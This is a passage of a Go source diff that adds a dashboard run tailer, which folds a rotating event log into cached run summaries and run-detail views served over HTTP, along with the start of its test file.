+// rotation by file identity: when the recorder renames the active file to an
+// archive and opens a fresh one, the events written to the old active file in
+// the poll window before the rename live only in the archive, so a bare offset
+// reset (the previous size-shrink heuristic) would drop them — and would also
+// fail to fire at all if the fresh file grew back past the stale offset within
+// one poll. On a detected rotation it first catches up across archives by
+// sequence, then re-tails the fresh active file from the top; the seq filter
+// drops the overlap the catch-up already folded.
+func (t *cityRunTailer) foldNext(proj *runproj.Projector, st *tailState) {
+	info, statErr := os.Stat(t.eventsPath)
+	rotated := statErr == nil && st.activeInfo != nil && !os.SameFile(st.activeInfo, info)
+	if rotated {
+		// ReadFilteredWithInFlight walks the sibling .gz archives (skipping any
+		// whose seq window is fully below the cursor without gunzipping), the
+		// in-flight events.jsonl.rotating-* files a just-rotated log has not yet
+		// been gzipped into, AND the fresh active file. Including the rotating
+		// files closes the async-compression window: the recorder renames the old
+		// active log to a plain-JSONL rotating-* file and compresses it in the
+		// background, so between the rename and the .gz a plain ReadFiltered would
+		// miss those pre-rotation events and the offset reset below would advance
+		// the tail past them for good. eventsAfter + Apply are seq-idempotent, so
+		// the .gz/rotating overlap and the offset-0 re-read are both harmless.
+		//
+		// Catch up BEFORE advancing the identity or resetting the offset. Those
+		// pre-rotation events live only in the archive now, so a transient
+		// catch-up read error must leave the OLD identity in place and retry on
+		// the next poll — committing the fresh identity here would make the next
+		// poll see no rotation (SameFile) and lose that window until restart.
+		catchUp, err := readRotationCatchUp(t.eventsPath, events.Filter{AfterSeq: proj.LastSeq()})
+		if err != nil {
+			return
+		}
+		if fresh := eventsAfter(catchUp, proj.LastSeq()); len(fresh) > 0 && proj.Apply(fresh) {
+			st.marks = t.build(proj, st.marks, nil)
+		}
+		st.activeInfo = info
+		st.offset = 0
+	} else if statErr == nil {
+		st.activeInfo = info
+		// A byte offset beyond the current active file's EOF on the SAME identity
+		// is a stale cursor (e.g. one captured against a since-rotated larger
+		// file): ReadFrom would seek past EOF and silently skip every event below
+		// it. The active log only grows in place — rotation changes identity and
+		// is handled above — so offset > size can only mean the offset is stale.
+		// Rewind to re-read the fresh file from the top; eventsAfter drops the
+		// overlap already folded.
+		if st.offset > info.Size() {
+			st.offset = 0
+		}
+	}
+
+	evts, newOffset, err := events.ReadFrom(t.eventsPath, st.offset)
+	if err != nil {
+		return
+	}
+	st.offset = newOffset
+	fresh := eventsAfter(evts, proj.LastSeq())
+	if len(fresh) == 0 {
+		return
+	}
+	if proj.Apply(fresh) {
+		st.marks = t.build(proj, st.marks, nil)
+	}
+}
+
+// eventsAfter keeps only events past the projector's cursor, dropping the
+// overlap a from-offset re-read (cold-replay resume or post-rotation rescan)
+// re-surfaces. Filters in place; the input slice is loop-local.
+func eventsAfter(evts []events.Event, afterSeq uint64) []events.Event {
+	out := evts[:0]
+	for _, e := range evts {
+		if e.Seq > afterSeq {
+			out = append(out, e)
+		}
+	}
+	return out
+}
+
+// build projects the folded beads into a bead-derived RunSummary, advances the
+// monotonic thrash marks against the prior generation, and publishes both under
+// the lock. It returns the advanced marks for the loop to carry forward.
+func (t *cityRunTailer) build(proj *runproj.Projector, prevMarks map[string]runproj.LaneProgressMark, loadErr error) map[string]runproj.LaneProgressMark {
+	// Apply the run-bead filter at the projection boundary, mirroring the
+	// frontend's runBeadFilter (summary.ts). The pure runproj builders
+	// assume already-filtered input, so folding the raw event log straight in —
+	// it also carries message, session, and gc:-labeled control beads that can
+	// share a run root — would let unrelated beads distort lane status, counts,
+	// recent changes, and detail nodes. Filtering once here feeds the same clean
+	// slice to both the summary and the detail projection. FilterRunBeads returns
+	// a fresh first-seen-ordered slice of the immutable-after-decode bead values,
+	// so the published snapshot is safe to read concurrently.
+	beadSlice := runproj.FilterRunBeads(proj.Beads())
+	summary := runproj.BuildRunSummary(beadSlice)
+	if loadErr != nil {
+		// A read failure must surface as a partial snapshot, not a silently empty
+		// "no runs" view.
+		summary.LanesPartial = true
+	}
+
+	inFlight := make([]runproj.RunLane, 0, len(summary.Lanes)+len(summary.BlockedLanes))
+	inFlight = append(inFlight, summary.Lanes...)
+	inFlight = append(inFlight, summary.BlockedLanes...)
+	marks := runproj.AdvanceProgressMarks(prevMarks, inFlight)
+
+	// Publish the filtered warm bead slice + fold cursor alongside the summary so
+	// the detail endpoint projects any one run off the same clean projection
+	// (BuildRunDetail does its own member selection).
+	lastSeq := proj.LastSeq()
+
+	t.mu.Lock()
+	t.summary = summary
+	t.marks = marks
+	t.beads = beadSlice
+	t.lastSeq = lastSeq
+	t.ready = true
+	t.mu.Unlock()
+
+	// This is the single change-gated publish point, so it is also the single
+	// place a detail-stream broadcast fires: notify every subscriber
+	// (non-blocking). A subscriber that has not yet drained its prior notify
+	// already has a rebuild pending, so a full buffer is a no-op — the
+	// per-connection byte-dedupe collapses the coalesced wakeups into at most one
+	// frame per real change.
+	t.notifySubscribers()
+	return marks
+}
+
+// runDetailSnapshotVersion is the synthesized run-snapshot shape version the
+// bead-derived detail projection emits (the OSS-local analog of the supervisor's
+// snapshot_version). It matches the golden generator's snapshot_version.
+const runDetailSnapshotVersion = 1
+
+// detailBuildCount counts every run-detail build+marshal the tailer performs
+// (i.e. a detail-memo miss). It exists so a test can prove two requests at the
+// same fold generation build once. It carries no production behavior.
+var detailBuildCount atomic.Int64
+
+// snapshotFoldCount counts every run-snapshot fold the detail path performs
+// (i.e. a snapshot-cache miss). It exists so a test can prove repeated detail()
+// calls at the same fold generation fold the run exactly once — a same-generation
+// hit must not re-scan the city's beads. It carries no production behavior.
+var snapshotFoldCount atomic.Int64
+
+// detail projects one run into the run-detail DTO off the warm bead snapshot,
+// layering request-time session links from one loopback /v0 sessions read. It
+// waits briefly for the cold replay on a city's first request, like
+// enrichedSummary. The bool reports whether the cold replay had completed (a
+// not-found run during warming is reported as warming, not a hard 404).
+//
+// Two caches keyed on the fold generation make a same-generation repeat cheap.
+// The snapshot cache (keyed by runID+lastSeq) folds the run's beads once per
+// generation and serves the fold + formula target to every later request, so a
+// repeat poll re-scans nothing. The detail memo (keyed by runID+lastSeq+
+// sessions-version+formula-version/failure) then caches the built+marshaled DTO,
+// so an unchanged fold with unchanged enrichments returns the cached bytes with
+// zero re-scan, zero re-projection, and zero re-marshal. A new bead event
+// (lastSeq++) invalidates both; a bumped enrichment version invalidates only the
+// detail memo (the fold is reused) → a rebuild off the cached snapshot.
+func (t *cityRunTailer) detail(ctx context.Context, runID string) (runDetailMemoValue, bool, error) {
+	select {
+	case <-t.readyCh:
+	case <-ctx.Done():
+	case <-time.After(runColdLoadWait):
+	}
+
+	t.mu.RLock()
+	beadSlice := t.beads
+	lastSeq := t.lastSeq
+	ready := t.ready
+	t.mu.RUnlock()
+
+	// Fold the run's snapshot ONCE per fold generation and cache it: the snapshot
+	// serves both the formula-target extraction (which formula to fetch) and the
+	// build, and a same-generation repeat request (the hot dashboard poll) reuses
+	// it with no re-scan. The old path scanned the city's beads on EVERY request —
+	// even a detail-memo hit re-ran SnapshotForRun before the memo lookup — so the
+	// single-scan win only spanned distinct requests, never repeat polls at the
+	// same generation. SnapshotForRun still returns an error only when the run root
+	// is absent, which stays uncached so a run that appears in a later fold folds
+	// then instead of pinning a not-found.
+	snapKey := runSnapshotCacheKey{runID: runID, lastSeq: lastSeq}
+	snapValue, err := t.snapshotCache.getOrBuild(snapKey, func() (runSnapshotCacheValue, error) {
+		snap, buildErr := runproj.SnapshotForRun(beadSlice, runID, runDetailSnapshotVersion, int64(lastSeq))
+		if buildErr != nil {
+			return runSnapshotCacheValue{}, buildErr
+		}
+		snapshotFoldCount.Add(1)
+		name, target, scopeKind, scopeRef, ok := runproj.FormulaTargetFromSnapshot(snap)
+		return runSnapshotCacheValue{snap: snap, name: name, target: target, scopeKind: scopeKind, scopeRef: scopeRef, targetOK: ok}, nil
+	})
+	if err != nil {
+		return runDetailMemoValue{}, ready, err
+	}
+
+	// Resolve the request-time sessions enrichment and its cache version. The
+	// version (0 when unavailable) is part of the memo key so a sessions refresh —
+	// or an availability flip — rebuilds.
+	sessions, sessionsVersion, sessionsAvailable := t.mgr.fetchSessionsVersioned(ctx, t.name)
+	if !sessionsAvailable {
+		sessions = nil
+	}
+
+	// Layer the supervisor's compiled formula detail at request time (like
+	// sessions) so a graph.v2 run with a name+target resolves to the authored
+	// step order and an "available" formula-detail state instead of a synthetic
+	// fetch failure. A run with no fetchable formula, or a genuine fetch failure,
+	// leaves formulaDetail nil so the detail state stays honest (missing_* or, for
+	// a name+target we could not resolve, fetch_failed). On a fetch failure we keep
+	// the reason (not_found for a supervisor 404, else upstream_error) so runproj
+	// renders the right operator diagnostic instead of collapsing a missing formula
+	// into a generic upstream error.
+	var formulaDetail *runproj.FormulaOrderingDetail
+	formulaDetailFailure := runproj.FormulaDetailUpstreamError
+	var formulaVersion uint64
+	if snapValue.targetOK {
+		if fetched, failure, version, fetchedOK := t.mgr.fetchFormulaDetailVersioned(ctx, t.name, snapValue.name, snapValue.target, snapValue.scopeKind, snapValue.scopeRef); fetchedOK {
+			formulaDetail = fetched
+			formulaVersion = version
+		} else {
+			formulaDetailFailure = failure
+			formulaVersion = version
+		}
+	}
+
+	// Everything that determines the output is now captured in the key. On a hit
+	// the memo returns the cached DTO+bytes with zero re-projection and zero
+	// re-marshal; on a miss it builds once (single-flighted across concurrent
+	// callers), marshals once, stores, and returns.
+	key := runDetailMemoKey{
+		runID:           runID,
+		lastSeq:         lastSeq,
+		sessionsVersion: sessionsVersion,
+		formulaVersion:  formulaVersion,
+		formulaFailure:  formulaDetailFailure,
+	}
+	value, err := t.detailMemo.getOrBuild(key, func() (runDetailMemoValue, error) {
+		d, buildErr := runproj.BuildRunDetailFromSnapshot(snapValue.snap, sessions, formulaDetail, formulaDetailFailure)
+		if buildErr != nil {
+			return runDetailMemoValue{}, buildErr
+		}
+		detailBuildCount.Add(1)
+		raw, marshalErr := json.Marshal(d)
+		if marshalErr != nil {
+			return runDetailMemoValue{}, marshalErr
+		}
+		return runDetailMemoValue{detail: d, bytes: raw}, nil
+	})
+	return value, ready, err
+}
+
+// enrichedSummary returns the warm bead-derived summary with request-time
+// session health/census layered on. It waits briefly for the cold replay on a
+// city's first request, then degrades to a partial (warming) snapshot.
+func (t *cityRunTailer) enrichedSummary(ctx context.Context) runproj.RunSummary {
+	select {
+	case <-t.readyCh:
+	case <-ctx.Done():
+	case <-time.After(runColdLoadWait):
+	}
+
+	t.mu.RLock()
+	base := t.summary
+	marks := t.marks
+	ready := t.ready
+	t.mu.RUnlock()
+
+	sessions, sessionsAvailable := t.mgr.fetchSessions(ctx, t.name)
+	enriched := runproj.EnrichRunSummary(base, sessions, sessionsAvailable, time.Now().UnixMilli(), marks)
+	if !ready {
+		enriched.LanesPartial = true
+	}
+	return enriched
+}
+
+// fetchSessions returns the projected dashboard sessions for a city, served from
+// the per-city sessions cache (TTL + single-flight). A cache hit within the TTL
+// does no upstream work; concurrent cold-miss callers collapse to one upstream
+// fetch; a failed refetch serves the last-good with available=true; a cold miss
+// whose fetch fails degrades to (nil, false) exactly as the uncached path did, so
+// the caller's honest partial/warming states are preserved. detail() and
+// enrichedSummary() consume this.
+func (m *runTailerManager) fetchSessions(ctx context.Context, name string) ([]runproj.DashboardSession, bool) {
+	items, _, ok := m.fetchSessionsVersioned(ctx, name)
+	return items, ok
+}
+
+// fetchSessionsVersioned is fetchSessions with the served value's cache version,
+// so the run-detail memo can key on it and rebuild when the sessions enrichment
+// refreshes (even to an equal value). The version is meaningful only when ok is
+// true. detail() consumes this; enrichedSummary() uses the version-less
+// fetchSessions.
+func (m *runTailerManager) fetchSessionsVersioned(ctx context.Context, name string) ([]runproj.DashboardSession, uint64, bool) {
+	got, version, ok := m.sessionsCache.getWithVersion(ctx, name, func(ctx context.Context) (cachedSessions, time.Duration, bool, bool) {
+		items, upstreamOK := m.fetchSessionsUpstream(ctx, name)
+		if !upstreamOK {
+			return cachedSessions{}, 0, false, false
+		}
+		// A successful sessions read is a positive last-good: serve it stale on a
+		// later failed refetch rather than blanking the health card.
+		return cachedSessions{items: items}, sessionsCacheTTL, true, true
+	})
+	if !ok {
+		return nil, 0, false
+	}
+	return got.items, version, true
+}
+
+// fetchSessionsUpstream reads GET {base}/v0/city/{name}/sessions over loopback
+// and projects the items into the dashboard session shape (equivalent to the
+// frontend normalizeSessions). Any failure returns (nil, false) so the cache
+// degrades to unavailable (or serves last-good) rather than failing the load.
+func (m *runTailerManager) fetchSessionsUpstream(ctx context.Context, name string) ([]runproj.DashboardSession, bool) {
+	base := strings.TrimRight(m.deps.SupervisorBaseURL, "/")
+	if base == "" {
+		return nil, false
+	}
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, base+"/v0/city/"+name+"/sessions", nil)
+	if err != nil {
+		return nil, false
+	}
+	req.Header.Set("Accept", "application/json")
+	resp, err := m.httpc.Do(req)
+	if err != nil {
+		return nil, false
+	}
+	defer resp.Body.Close() //nolint:errcheck
+	if resp.StatusCode != http.StatusOK {
+		return nil, false
+	}
+	body, err := io.ReadAll(io.LimitReader(resp.Body, 16<<20))
+	if err != nil {
+		return nil, false
+	}
+	var env struct {
+		Items []runproj.DashboardSession `json:"items"`
+	}
+	if err := json.Unmarshal(body, &env); err != nil {
+		return nil, false
+	}
+	if env.Items == nil {
+		env.Items = []runproj.DashboardSession{}
+	}
+	return env.Items, true
+}
+
+// formulaNodeRef decodes the ordering-relevant id of a compiled-formula preview
+// node or step from the supervisor's formula-detail response.
+type formulaNodeRef struct {
+	ID string `json:"id"`
+}
+
+// fetchFormulaDetailVersioned returns a run's compiled formula detail, served
+// from the per-city formula cache keyed by (name, formula, target, scopeKind,
+// scopeRef). A success is cached for formulaCacheTTL; a definitive 404
+// (genuinely-missing formula) is cached as FormulaDetailNotFound for the shorter
+// formulaNotFoundTTL so a newly-added formula appears promptly; a transient
+// upstream error is NOT cached — it degrades like a cold miss so a real re-check
+// happens on the next GET. On success it returns (detail, "", version, true); on
+// a failure it returns (nil, reason, version, false), preserving the NotFound vs
+// UpstreamError distinction runproj renders as the operator diagnostic.
+//
+// The version is the served cache entry's monotonic generation, so the
+// run-detail memo rebuilds when the compiled formula refreshes (a re-compile, a
+// not-found→available flip, or a re-check). It is meaningful whenever a cache
+// entry was served — including a served negative (a cached not-found), since a
+// negative→available transition bumps it. A cold-miss degrade returns version 0.
+// detail() consumes this.
+func (m *runTailerManager) fetchFormulaDetailVersioned(ctx context.Context, name, formula, target, scopeKind, scopeRef string) (*runproj.FormulaOrderingDetail, runproj.RunFormulaDetailFetchFailure, uint64, bool) {
+	key := formulaCacheKey{name: name, formula: formula, target: target, scopeKind: scopeKind, scopeRef: scopeRef}
+	got, version, ok := m.formulaCache.getWithVersion(ctx, key, func(ctx context.Context) (cachedFormulaDetail, time.Duration, bool, bool) {
+		detail, failure, upstreamOK := m.fetchFormulaDetailUpstream(ctx, name, formula, target, scopeKind, scopeRef)
+		switch {
+		case upstreamOK:
+			// A compiled formula is a positive last-good: serve it stale on a later
+			// failed refetch.
+			return cachedFormulaDetail{detail: detail}, formulaCacheTTL, true, true
+		case failure == runproj.FormulaDetailNotFound:
+			// A definitive 404 is a real negative result: cache it briefly so a burst
+			// of GETs does not re-probe a known-missing formula, but re-check soon.
+			// It is NOT stale-serveable, so once formulaNotFoundTTL lapses an errored
+			// refetch degrades to upstream_error instead of pinning this stale
+			// not-found over a live upstream failure.
+			return cachedFormulaDetail{failure: runproj.FormulaDetailNotFound}, formulaNotFoundTTL, true, false
+		default:
+			// A transient upstream error is not cached; degrade like a cold miss.
+			return cachedFormulaDetail{}, 0, false, false
+		}
+	})
+	if !ok {
+		// Cold miss whose fetch failed with a non-404 error, or a canceled join
+		// with no last-good: the honest reason is upstream_error.
+		return nil, runproj.FormulaDetailUpstreamError, 0, false
+	}
+	if got.detail == nil {
+		// A cached not-found (or a cached-then-served negative): not available, and
+		// the failure reason travels with the cached value.
+		failure := got.failure
+		if failure == "" {
+			failure = runproj.FormulaDetailUpstreamError
+		}
+		return nil, failure, version, false
+	}
+	return got.detail, "", version, true
+}
+
+// fetchFormulaDetail preserves the pre-refactor 3-tuple call shape for tests
+// and older internal call sites while the versioned cache API remains the
+// implementation behind it.
+func (m *runTailerManager) fetchFormulaDetail(ctx context.Context, name, formula, target, scopeKind, scopeRef string) (*runproj.FormulaOrderingDetail, runproj.RunFormulaDetailFetchFailure, bool) { //nolint:unparam
+	detail, failure, _, ok := m.fetchFormulaDetailVersioned(ctx, name, formula, target, scopeKind, scopeRef)
+	return detail, failure, ok
+}
+
+// fetchFormulaDetailUpstream reads
+// GET {base}/v0/city/{name}/formulas/{formula}?target={target}&scope_kind={kind}&scope_ref={ref}
+// over loopback and projects the compiled formula's ordering-relevant preview
+// nodes and steps into runproj's FormulaOrderingDetail. The scope is required by
+// the endpoint and selects the formula search layer, so a rig-scoped run must
+// send its scope or the lookup resolves the wrong layer (or is rejected). On
+// success it returns (detail, "", true). On failure it returns (nil, reason,
+// false): the reason is FormulaDetailNotFound for a supervisor 404 (the compiled
+// formula is genuinely missing) and FormulaDetailUpstreamError for every other
+// failure. Mirrors fetchSessionsUpstream; the reason mapping ports the TS
+// formulaDetailFetchFailure helper.
+func (m *runTailerManager) fetchFormulaDetailUpstream(ctx context.Context, name, formula, target, scopeKind, scopeRef string) (*runproj.FormulaOrderingDetail, runproj.RunFormulaDetailFetchFailure, bool) {
+	base := strings.TrimRight(m.deps.SupervisorBaseURL, "/")
+	if base == "" {
+		return nil, runproj.FormulaDetailUpstreamError, false
+	}
+	endpoint := base + "/v0/city/" + url.PathEscape(name) + "/formulas/" + url.PathEscape(formula)
+	query := url.Values{"target": {target}}
+	if scopeKind != "" {
+		query.Set("scope_kind", scopeKind)
+	}
+	if scopeRef != "" {
+		query.Set("scope_ref", scopeRef)
+	}
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint+"?"+query.Encode(), nil)
+	if err != nil {
+		return nil, runproj.FormulaDetailUpstreamError, false
+	}
+	req.Header.Set("Accept", "application/json")
+	resp, err := m.httpc.Do(req)
+	if err != nil {
+		return nil, runproj.FormulaDetailUpstreamError, false
+	}
+	defer resp.Body.Close() //nolint:errcheck
+	if resp.StatusCode != http.StatusOK {
+		if resp.StatusCode == http.StatusNotFound {
+			return nil, runproj.FormulaDetailNotFound, false
+		}
+		return nil, runproj.FormulaDetailUpstreamError, false
+	}
+	body, err := io.ReadAll(io.LimitReader(resp.Body, 16<<20))
+	if err != nil {
+		return nil, runproj.FormulaDetailUpstreamError, false
+	}
+	var env struct {
+		Name    string           `json:"name"`
+		Steps   []formulaNodeRef `json:"steps"`
+		Preview struct {
+			Nodes []formulaNodeRef `json:"nodes"`
+		} `json:"preview"`
+	}
+	if err := json.Unmarshal(body, &env); err != nil {
+		return nil, runproj.FormulaDetailUpstreamError, false
+	}
+	return &runproj.FormulaOrderingDetail{
+		Name:           env.Name,
+		PreviewNodeIDs: refIDs(env.Preview.Nodes),
+		StepIDs:        refIDs(env.Steps),
+	}, "", true
+}
+
+// refIDs lifts formula node/step ids into a plain slice, preserving nil (the
+// field was absent/null) versus non-nil empty (present-but-empty) so runproj's
+// preview-nodes-then-steps ordering fallback stays faithful to the dashboard.
+func refIDs(refs []formulaNodeRef) []string {
+	if refs == nil {
+		return nil
+	}
+	ids := make([]string, 0, len(refs))
+	for _, r := range refs {
+		ids = append(ids, r.ID)
+	}
+	return ids
+}
+
+// ── Route ─────────────────────────────────────────────────────────────────
+
+func (p *Plane) registerRunSummary() {
+	p.mux.HandleFunc("GET /api/city/{cityName}/runs/summary", func(w http.ResponseWriter, r *http.Request) {
+		t, ok := p.cityRunTailer(r.PathValue("cityName"))
+		if !ok {
+			writeError(w, http.StatusNotFound, "unknown city")
+			return
+		}
+		writeJSON(w, http.StatusOK, t.enrichedSummary(r.Context()))
+	})
+}
+
+// runDetailErrorBody carries an UnsupportedRunError's reason to the SPA, which
+// renders 'not_run_view' (an honest list-only run) differently from
+// 'invalid_snapshot' (a genuine load failure). Typed like the other plane wire
+// shapes (it extends the shared { error } body with the discriminating reason).
+type runDetailErrorBody struct {
+	Error  string `json:"error"`
+	Reason string `json:"reason"`
+}
+
+func (p *Plane) registerRunDetail() {
+	p.mux.HandleFunc("GET /api/city/{cityName}/runs/{runId}/detail", func(w http.ResponseWriter, r *http.Request) {
+		t, ok := p.cityRunTailer(r.PathValue("cityName"))
+		if !ok {
+			writeError(w, http.StatusNotFound, "unknown city")
+			return
+		}
+		value, ready, err := t.detail(r.Context(), r.PathValue("runId"))
+		if err != nil {
+			var unsupported *runproj.UnsupportedRunError
+			if errors.As(err, &unsupported) {
+				writeJSON(w, http.StatusUnprocessableEntity, runDetailErrorBody{
+					Error:  unsupported.Message,
+					Reason: string(unsupported.Reason),
+				})
+				return
+			}
+			// The run root is absent from the warm projection. While the cold replay
+			// is still in flight the fold may be incomplete, so report warming
+			// rather than a hard 404 for a run that may yet appear. This 503 is a
+			// retry signal, not a terminal error: the SPA loader
+			// (supervisor/runDetail.ts loadSupervisorFormulaRunDetail) already
+			// retries any 5xx — including this warming 503 — with bounded backoff
+			// before surfacing it, so the client re-polls until the replay finishes
+			// (covered by runDetail.test.ts "retries while the projection is
+			// warming").
+			if !ready {
+				writeError(w, http.StatusServiceUnavailable, "run view is warming")
+				return
+			}
+			writeError(w, http.StatusNotFound, "unknown run")
+			return
+		}
+		// Serve the memoized marshaled bytes verbatim — the memo already produced
+		// json.Marshal(detail), so writeJSONBytes skips a re-marshal while emitting
+		// byte-identical output to writeJSON (same headers, same trailing newline
+		// the JSON encoder appends).
+		writeJSONBytes(w, http.StatusOK, value.bytes)
+	})
+}
+
+// cityRunTailer resolves the city to its run tailer, returning false for an
+// unknown city (so the handler can 404). Starting the fold loop is lazy.
+func (p *Plane) cityRunTailer(name string) (*cityRunTailer, bool) {
+	path, ok := p.resolveCityPath(name)
+	if !ok {
+		return nil, false
+	}
+	return p.runTailers.ensure(name, cityEventsPath(path)), true
+}
+
+// cityEventsPath is the single source of truth for a city's append-only event
+// log path, so the lazy per-request start and the eager Start-time warm-up
+// (eagerWarmTailers) fold the exact same file.
+func cityEventsPath(cityRoot string) string {
+	return filepath.Join(cityRoot, ".gc", "events.jsonl")
+}
+
+// eagerWarmTailers starts the run-view fold for every currently-registered city
+// so the cold replay of .gc/events.jsonl happens at startup — in each tailer's
+// own background goroutine — instead of on the operator's first click. It is
+// non-blocking: ensure spawns the fold goroutine and returns immediately, so
+// Start never waits on any city's cold load. A nil resolver or an empty city
+// set is a no-op, and cities registered after Start keep the lazy start on
+// their first request.
+//
+// Cost scales with TOTAL registered cities, not active ones: warm-up starts one
+// cold-replay goroutine per city at Start and keeps every city's folded bead
+// slice resident for the plane's lifetime, so boot CPU/disk (JSON decode + .gz
+// archive walks) and baseline memory grow with the registry. Because ColdLoad is
+// context-blind (internal/runproj/projector.go), a Stop landing in the boot
+// window also waits on the slowest in-flight replay. This is deliberate for the
+// current few-city deployments; scaling to a large fleet would want a bounded
+// warm-up pool and/or a ctx-aware ColdLoad so Start-time work and shutdown stay
+// bounded.
+func (p *Plane) eagerWarmTailers() {
+	if p.deps.Resolver == nil {
+		return
+	}
+	for _, c := range p.deps.Resolver.Cities() {
+		if !validCityName(c.Name) || c.Path == "" {
+			continue
+		}
+		p.runTailers.ensure(c.Name, cityEventsPath(c.Path))
+	}
+}
diff --git a/internal/api/dashboardbff/runtailer_test.go b/internal/api/dashboardbff/runtailer_test.go
new file mode 100644
index 0000000000..aa66a679f3
--- /dev/null
+++ b/internal/api/dashboardbff/runtailer_test.go
@@ -0,0 +1,636 @@
+package dashboardbff
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+type fakeResolver struct {
+	paths map[string]string
+	// cities, when non-nil, is what Cities returns (so a test can control the
+	// eager-warm set and ordering independently of the CityPath map, or model a
+	// resolver whose registry is empty at Start). When nil, Cities is derived
+	// from paths so existing tests get eager-warming for free.
+	cities []CityRef
+}
+
+func (f fakeResolver) CityPath(name string) (string, bool) {
+	p, ok := f.paths[name]
+	return p, ok
+}
+
+func (f fakeResolver) Cities() []CityRef {
+	if f.cities != nil {
+		return f.cities
+	}
+	refs := make([]CityRef, 0, len(f.paths))
+	for name, path := range f.paths {
+		refs = append(refs, CityRef{Name: name, Path: path})
+	}
+	return refs
+}
+
+// runMoleculeEvent builds a bead.created event for a run-molecule lane carrying
+// the markers isRunGroup recognizes plus an active assignee for session joins.
+func runMoleculeEvent(seq uint64, id, formula, assignee string) events.Event {
+	b := beads.Bead{
+		ID:        id,
+		Title:     formula,
+		Status:    "open",
+		Type:      "molecule",
+		Assignee:  assignee,
+		CreatedAt: time.Date(2026, 6, 1, 10, 0, 0, 0, time.UTC),
+		UpdatedAt: time.Date(2026, 6, 1, 12, 0, 0, 0, time.UTC),
+		Metadata: map[string]string{
+			"gc.formula_contract": "graph.v2",
+			"gc.kind":             "run",
+			"gc.formula":          formula,
+		},
+	}
+	payload, _ := json.Marshal(struct {
+		Bead beads.Bead `json:"bead"`
+	}{b})
+	return events.Event{Seq: seq, Type: events.BeadCreated, Payload: payload}
+}
+
+func writeEventLog(t *testing.T, path string, evts ...events.Event) {
+	t.Helper()
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	var b strings.Builder
+	for _, e := range evts {
+		line, err := json.Marshal(e)
+		if err != nil {
+			t.Fatalf("marshal event: %v", err)
+		}
+		b.Write(line)
+		b.WriteByte('\n')
+	}
+	if err := os.WriteFile(path, []byte(b.String()), 0o644); err != nil {
+		t.Fatalf("write log: %v", err)
+	}
+}
+
+// appendEvents appends events to an existing log via a plain O_APPEND handle —
+// the supervisor's own write path. That it succeeds while the tailer is running
+// proves the tailer is a pure reader (never a second writer holding the file).
+func appendEvents(t *testing.T, path string, evts ...events.Event) {
+	t.Helper()
+	f, err := os.OpenFile(path, os.O_APPEND|os.O_WRONLY, 0o644)
+	if err != nil {
+		t.Fatalf("open append: %v", err)
+	}
+	defer f.Close() //nolint:errcheck
+	for _, e := range evts {
+		line, _ := json.Marshal(e)
+		if _, err := f.Write(append(line, '\n')); err != nil {
+			t.Fatalf("append: %v", err)
+		}
+	}
+}
+
+func waitForLanes(t *testing.T, tl *cityRunTailer, want int) {
+	t.Helper()
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		tl.mu.RLock()
+		n := len(tl.summary.Lanes)
+		tl.mu.RUnlock()
+		if n == want {
+			return
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	tl.mu.RLock()
+	n := len(tl.summary.Lanes)
+	tl.mu.RUnlock()
+	t.Fatalf("lane count = %d, want %d within deadline", n, want)
+}
+
+// TestRunTailerColdLoadAndLiveTail proves the tailer cold-replays the existing
+// log, then picks up newly appended events on its byte-offset tail — and that an
+// external writer can still append while the tail runs (no second-writer lock).
+func TestRunTailerColdLoadAndLiveTail(t *testing.T) {
+	defer func(prev time.Duration) { runTailPollInterval = prev }(runTailPollInterval)
+	runTailPollInterval = 15 * time.Millisecond
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+	var wg sync.WaitGroup
+	m := newRunTailerManager(Deps{})
+	m.enable(ctx, &wg)
+	tl := m.ensure("alpha", logPath)
+
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatal("cold replay did not complete")
+	}
+	waitForLanes(t, tl, 1)
+
+	// Append a second run via the supervisor's own append path while the tail runs.
+	appendEvents(t, logPath, runMoleculeEvent(2, "run2", "mol-design-review-v2", "worker-2"))
+	waitForLanes(t, tl, 2)
+
+	cancel()
+	wg.Wait()
+}
+
+// TestRunTailerPrimeDoesNotBlockLiveTail is the regression guard for the
+// startup sessions-prime blocking live polling: the best-effort prime runs off
+// the tail's poll goroutine, so a slow or hung /v0 sessions loopback read cannot
+// delay folding events appended right after cold replay — the exact startup
+// window the eager warm-up exists to cover. A /sessions handler that never
+// responds stands in for the stalled loopback; the tail must still fold a
+// post-ready append while that prime is parked.
+func TestRunTailerPrimeDoesNotBlockLiveTail(t *testing.T) {
+	defer func(prev time.Duration) { runTailPollInterval = prev }(runTailPollInterval)
+	runTailPollInterval = 15 * time.Millisecond
+
+	// /sessions blocks until released, standing in for a slow or hung loopback
+	// read. The post-cold-load prime issues exactly this request; if it ran inline
+	// on the tail's poll goroutine, live folding would stall here for up to the
+	// HTTP client timeout (runSessionsFetchTimeout, 10s) — far past this test's
+	// deadlines.
+	var sessionsHits atomic.Int64
+	release := make(chan struct{})
+	var releaseOnce sync.Once
+	unblock := func() { releaseOnce.Do(func() { close(release) }) }
+	defer unblock()
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if !strings.HasSuffix(r.URL.Path, "/sessions") {
+			w.WriteHeader(http.StatusNotFound)
+			return
+		}
+		sessionsHits.Add(1)
+		select {
+		case <-release:
+		case <-r.Context().Done():
+			return
+		}
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"items":[],"total":0}`))
+	}))
+	defer supervisor.Close()
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
